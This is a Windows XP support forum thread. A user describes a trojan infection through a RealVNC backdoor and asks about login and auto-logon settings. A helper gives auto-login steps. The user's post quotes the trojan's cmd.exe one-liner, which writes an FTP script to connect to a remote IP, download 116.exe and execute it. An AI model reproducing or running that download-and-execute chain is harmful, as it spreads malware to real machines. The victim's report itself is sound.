Must select account when starting winXp

M

mike

Hi,

I am using Win Xp Home Ed. I had a trojan that used a backdoor in
RealVNC.
I could see messages in my Run like:

cmd.exe /c del i&echo open 217.211.82.130 28468 > i&echo user 1 1 >> i
&echo get 116.exe >> i &echo quit >> i &ftp -n -s:i &116.exe&del i&exit


I removed the virus.

But now I have to select account before starting. Eiter admin or my
user account. Before the virus I automatically logged in to my user
account.

Questions:

- Is user 11 admin?
- Can I set my system to automatically login to my user account?
- Is it possible to remove the admin account?

cheers,

No you can't and shouldn't try to remove the administrator account. Keep
that as a backup in case something corrupts the normal working account.

Sorry but I don't understand your first question "Is user 11 admin"? Can
you clarify that?

To autologin:

1. Go to Start | Run and type in: control userpasswords2 | Ok.

2. On the Users tab, clear the Users Must Enter A User Name And Password To
Use This Computer check box and then click OK.

3. In the Automatically Log On dialog box that appears, type the user name
and password for the account you want to be logged on each time you start
your computer.

You can accomplish the same thing by:

Download and install tweakui for xp and use its auto logon feature.

Lastly you can add the Dialog box that comes up when running control
userpasswords 2 to the Control Panel with the following tweak:

Add Control User Passwords2 to the Control Panel (Line 1)

Hi,

Thanks for the reply. If you look at the line starting with
cmd.exe...... you can see user 11. What does that mean?
